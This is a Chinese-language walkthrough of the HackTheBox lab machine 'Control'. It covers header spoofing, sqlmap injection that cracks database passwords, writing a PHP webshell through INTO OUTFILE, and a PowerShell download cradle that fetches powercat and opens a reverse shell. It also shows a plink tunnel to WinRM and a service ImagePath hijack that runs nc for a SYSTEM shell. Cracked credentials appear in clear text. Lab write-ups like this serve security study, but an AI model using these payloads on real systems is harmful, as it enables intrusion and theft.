HackTheBox >_ Control_167
Control_167
80 IIS10.0
135 rpc
3306 mysql
页面上的login
和admin
都指向admin.php
浏览
查看页面源码
指向192.168.4.29\myfiles
内网地址
本地认证
尝试使用x-forwarded
抓个去往admin页面的包,并修改
x-forwarded-for: 192.168.4.28
得到新页面
四处看一看,每次动作都需要抓包,改包。 这就很难受。 先搞方便的。 既然存在3306 mysql
同时我们有一个良好的输入框,先在搜索框试试注入。
尝试搜索并抓包
同时修改包,加上代理。
把这个包内容保存为一个单独txt文件以便发往sqlmap进行注入分析
$ sqlmap --all -r sql.txt --batch
漫长的等待,过程倒是可以看到不少东西。但是实在是太慢了。
[12:33:37] [INFO] cracked password 'l3tm3!n' for user 'manager'
database management system users password hashes:
[*] hector [1]:
password hash: *0E178792E8FC304A2E3133D535D38CAF1DA3CD9D
[*] manager [1]:
password hash: *CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA
clear-text password: l3tm3!n
[*] root [1]:
password hash: *0A4A5CAD344718DC418035A1F4D292BA603134D8
manager:l3tm3!n hector:l33th4x0rhector 有密钥了。但是哪都不行。
所以打数据库。通过注入写入shell文件 还是抓搜索的包,改代理
然后加上注入语句
productName=D-Link+DWA-171'; select "<?php echo shell_exec($_GET['evilcmd']);?>" into OUTFILE 'C:\\Inetpub\\wwwroot\\evil2.php';#
经过几次尝试,我们获得了一个可以执行命令的webshell
然后,显然需要一个更棒的shell
在工作目录准备好powercat
https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1
同时在工作目录建立临时web服务
nc监听准备好
利用webshell将准备好的powercat传输到服务器,并操作powercat从靶机链接kali
http://10.10.10.167/evil2.php?evilcmd=powershell -c "IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.14.25:8080/powercat.ps1');powercat -c 10.10.14.25 -p 4444 -e cmd"
我们上去了。但是基础的枚举做不了,只知道用户hector,应该是下一个跳板
5985.
https://cloud.tencent.com/developer/article/1499065
5985 winRm服务
我们有hash, so, 我们需要一个可以在本地进行生成隧道的程序,以便连接攻击机和端口5985
尝试通过之前的webshell上传plink,但是被吞,估计是没有写exe权限
再尝试了各种上传方式无效后,我进行了各种google,并且在论坛中得到了,帮助。 我应该上传一个更加powerful的webshell。论坛的小伙伴推荐了
https://github.com/WhiteWinterWolf/wwwolf-php-webshell
重新利用注入点上传另外一个webshell
$ sqlmap -r sql.txt --file-write=/root/HackTheBox/Control_10.10.10.167/wolfshell.php --file-dest=c:/inetpub/wwwroot/wolfshell.php
So,新的webshell
plink cp到工作目录。并通过新shell上传到 uploads目录
为我们的kali增加一个临时用户。为接下来使用ssh隧道做准备。
evilx:evilx
复制脚本到工作目录 https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/evil-winrm.rb
之前的方法,重连rshell
建立绕墙连接
plink.exe -R 5985:127.0.0.1:5985 10.10.14.25
使用之前新建的临时账户反连接kali
为了权限,su root,输入kali 的root密码 利用root权限,使用之前得到的hector的凭证。得到hector的evil-winRm shell
hector:l33th4x0rhector
ruby evil-winrm.rb -i 127.0.0.1 -u Hector -p 'l33th4x0rhector' -s './' -e './'
得到user
windows ACL 即windows的访问控制列表/ 使用以下命令查询系统CurrentControlSet下的服务,以及使用的权限。
get-acl HKLM:\System\CurrentControlSet\services* | Format-List * | findstr /i "Hector Users Path:"
我们找到了一个服务wuauserv
Get-ItemProperty HKLM:\System\CurrentControlSet\services\wuauserv
修改设定
reg add "HKLM\System\CurrentControlSet\services\wuauserv" /t REG_EXPAND_SZ /v ImagePath /d "C:\windows\system32\spool\drivers\color\nc.exe 10.10.14.25 443 -e cmd" /f
这里不是很稳定,试了很多次
kali端443端口设立监听,靶机启动我们修改好的服务
Start-Service wuauserv
监听端口得到system shell,root.txt在Desktop
cd /
cd Users/Administrator/Desktop
type root.txt
8xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx1